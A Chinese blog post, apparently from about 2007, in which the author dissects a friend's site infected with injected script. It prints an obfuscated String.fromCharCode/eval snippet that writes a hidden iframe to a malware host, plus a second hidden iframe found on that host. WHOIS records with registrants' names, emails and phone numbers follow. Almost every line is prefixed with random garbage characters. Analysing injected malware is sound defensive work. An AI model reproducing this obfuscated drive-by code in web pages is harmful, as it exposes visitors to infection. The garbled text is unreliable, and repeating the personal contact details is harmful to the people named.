首发在我的博客里面，
0^VA,QkQ\ N b2]}; O http://www.areway.cn/?p=175 ssv4#8p3 f)p c$~B -v *wT*I1 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
&<Bx1 \ ~V 0Bx.jx0? <script>t=’60,105,102,114,97,109,101,
^ 1rw\ Z p 32,115,114,99,61,104,116,116,112,58,47,47,
,
4Vr,?"EO 102,114,101,101,46,117,45,117,117,117,46,99,
2 w2JFdm 110,47,101,114,114,111,114,46,104,116,109,
Dz4fP;n 32,119,105,100,116,104,61,49,48,48,32,104,
~ l~ai>/ 101,105,103,104,116,61,48,62,60,47,105,102,
}xcEWC\ 114,97,109,101,62′;
Fh u(u t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
w{J0K; L ^PY*INv <script>t=’60,105,102,114,97,109,101,32,115,
#WD} XOA 114,99,61,104,116,116,112,58,47,47,102,114,
fHek!Jv. 101,101,46,117,45,117,117,117,46,99,110,47,
k\UDZ)TQV 101,114,114,111,114,46,104,116,109,32,119,
>y%*HC!G 105,100,116,104,61,49,48,48,32,104,101,105,
+@wa?" 103,104,116,61,48,62,60,47,105,102,114,97,
H@$\SUc{ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
iX8& mUR document.write(t);</script>
,}i`1E 1= ^zPa^lo- <html xmlns=”
85U ')LY http://www.w3.org/1999/xhtml `wt*7~'= “>
&h .E
B <head>
^NB @wuf7 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
"wi=aV9j <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
)J& 1uMp{ <title>首页 - 爱生活家庭网
FI1R7A q(0V#kKC 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
hX\z93an 转换字符串后的大概内容是（谁点击后果自付）：
H tIl;E <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Fv \yhR w) o ^?9T 查询玉米u-uuu.cn的详细信息：
d(RSn|[0 Domain Name: u-uuu.cn
GU99!.$ ROID: 20070901s10001s64972306-cn
6@`Y6>}$_ Domain Status: ok
xy >~ 1 5 Registrant Organization: 王雷
Zvd^<SP<? Registrant Name: 王雷
;0 Yeo"- Administrative Email:
czlovexs@126.com g bOd(ugH Sponsoring Registrar: 北京万网志成科技有限公司
;E Z$8| Name Server:ns.yovole.com
iX 0s4 Name Server:ns1.yovole.com
: E `N0U A Registration Date: 2007-09-01 17:54
"V!y"yQ Expiration Date: 2008-09-01 17:54
"G\OKt'Z 最后PING了一下地址 都没有什么….
HCHZB *r[ Fw!CssW 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
@ }:}7R6 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
?[>+'6 <script language=”javascript” src=”
wykk</eQ.i http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script -=aI!7 *"$ >
*k:Sg*neVq 这个玉米应该有可能是木马作者的：
g z6BfHQG foafau.info的详细信息：
G*_$[| H Access to INFO WHOIS information is provided to assist persons in
^a~^$PUqI determining the contents of a domain name registration record in the
~W'>L++ Afilias registry database. The data in this record is provided by
wehZ7eqm Afilias Limited for informational purposes only, and Afilias does not
"Gx( -NH+ guarantee its accuracy. This service is intended only for query-based
f5jxF"oGNo access. You agree that you will use this data only for lawful purposes
Q70LQCms and that, under no circumstances will you use this data to: (a) allow,
%\8E{M: enable, or otherwise support the transmission by e-mail, telephone, or
]J\to s Ti facsimile of mass unsolicited, commercial advertising or solicitations
(Hqy^EOZ to entities other than the data recipient’s own existing customers; or
V3&_ST (b) enable high volume, automated, electronic processes that send
,"!t[4p=f queries or data to the systems of Registry Operator, a Registrar, or
eC:?j`H - Afilias except as reasonably necessary to register domain names or
FBpf_=(_1 modify existing registrations. All rights reserved. Afilias reserves
#A ox$[|@ the right to modify these terms at any time. By submitting this query,
6T>e~<^ you agree to abide by this policy.
f8u m.Xnp6 Domain ID:D22418703-LRMS
.b*%c?e Domain Name:FOAFAU.INFO
a= *&OW Created On:20-Nov-2007 16:05:42 UTC
s u ]x Last Updated On:20-Nov-2007 16:05:44 UTC
J1kG'cH05 Expiration Date:20-Nov-2008 16:05:42 UTC
)8Defuxk Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
@Y":DHF5q Status:CLIENT DELETE PROHIBITED
Y>*{(QD Status:CLIENT RENEW PROHIBITED
?5d7J,"<h Status:CLIENT TRANSFER PROHIBITED
IHC Eu K Status:CLIENT UPDATE PROHIBITED
%;+Q0
e9 Status:TRANSFER PROHIBITED
o@6:|X)7 Registrant ID:GODA-040110615
i;!#:JX Registrant Name:liu hong
7Pu.<b} Registrant Organization:
r=YprVX Registrant Street1:beijing
0U'g2F>{ Registrant Street2:
y'ULhDgq^B Registrant Street3:
O(BAw Registrant City:beijing
QEIu}e6b Registrant State/Province:
;C,D1_20Z Registrant Postal Code:100000
g+Z~ "O]$M Registrant Country:CN
&Pu}"M$[MH Registrant Phone:+86.860108888777
_]W
{)=ap Registrant Phone Ext.:
Ar4@ 7 Registrant FAX:
HY[eo/nM1d Registrant FAX Ext.:
{ U?UM Registrant Email:bbbshiji@163.com
1DPgiIG~ Admin ID:GODA-240110615
KTX; x2r Admin Name:liu hong
NLZTIZCK Admin Organization:
Y <;A989D Admin Street1:beijing
8w & A89 Admin Street2:
).HYW _Yih Admin Street3:
gZQ,br* Admin City:beijing
T\\Q!pY Admin State/Province:
_<x4/".}B3 Admin Postal Code:100000
zb/w^~J _i Admin Country:CN
(orO=gST-/ Admin Phone:+86.860108888777
S'"( zc3 = Admin Phone Ext.:
_ _jFSa`at Admin FAX:
L7i^?40 Admin FAX Ext.:
L=zt\L Admin Email:bbbshiji@163.com
e >W}3H5w0 Billing ID:GODA-340110615
l n}2 Billing Name:liu hong
^DZ(T +q, Billing Organization:
@&!H Ml Billing Street1:beijing
,<]X0;~oB Billing Street2:
wIT0A-Por4 Billing Street3:
NYb eIfL Billing City:beijing
fy at-wbb Billing State/Province:
K1c@]]y) Billing Postal Code:100000
ghq#-N/t Billing Country:CN
s UX%{|T_ Billing Phone:+86.860108888777
pq0F!XmU Billing Phone Ext.:
Y/Yp+W6n Billing FAX:
.0$$H"t Billing FAX Ext.:
bN-ljw0& Billing Email:bbbshiji@163.com
I6}ine ps Tech ID:GODA-140110615
p7y8/m\6 Tech Name:liu hong
GY9CU=- Tech Organization:
A
i` Tech Street1:beijing
FbRq h| Tech Street2:
?Y4$ Tech Street3:
*3 _@#Uu7 Tech City:beijing
+/ ,J$( Tech State/Province:
X .V6v4 Tech Postal Code:100000
lc%2fVG-e Tech Country:CN
G b]t%\ Tech Phone:+86.860108888777
)L}6to Tech Phone Ext.:
9Tbi_6[ Tech FAX:
F)x^AJi e Tech FAX Ext.:
;Js-27_0 Tech Email:bbbshiji@163.com
f g1_D Name Server:NS27.DOMAINCONTROL.COM
rap`[O|l= Name Server:NS28.DOMAINCONTROL.COM
x O `#a= Name Server:
UR;F W` Name Server:
R<>ptwy Name Server:
mouLjT&p Name Server:
Q)}_S@v|% Name Server:
~Xa8 \> Name Server:
"W:#4@
F Name Server:
#k D8U# Name Server:
e)I-|Q4^% Name Server:
$J8?!Xg Name Server:
go^?F-
dZ Name Server:
IyvJwrO f=%k9Y*) 接着下载每个文件里面的代码：
<1~5l ~ 一步一步看..
7Ddo ^Gtx 
9z)p*+r UK 
R{zAs?j 
,[6N64fy 
no_(J>p^& 
#Fx$x#Gc@y 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
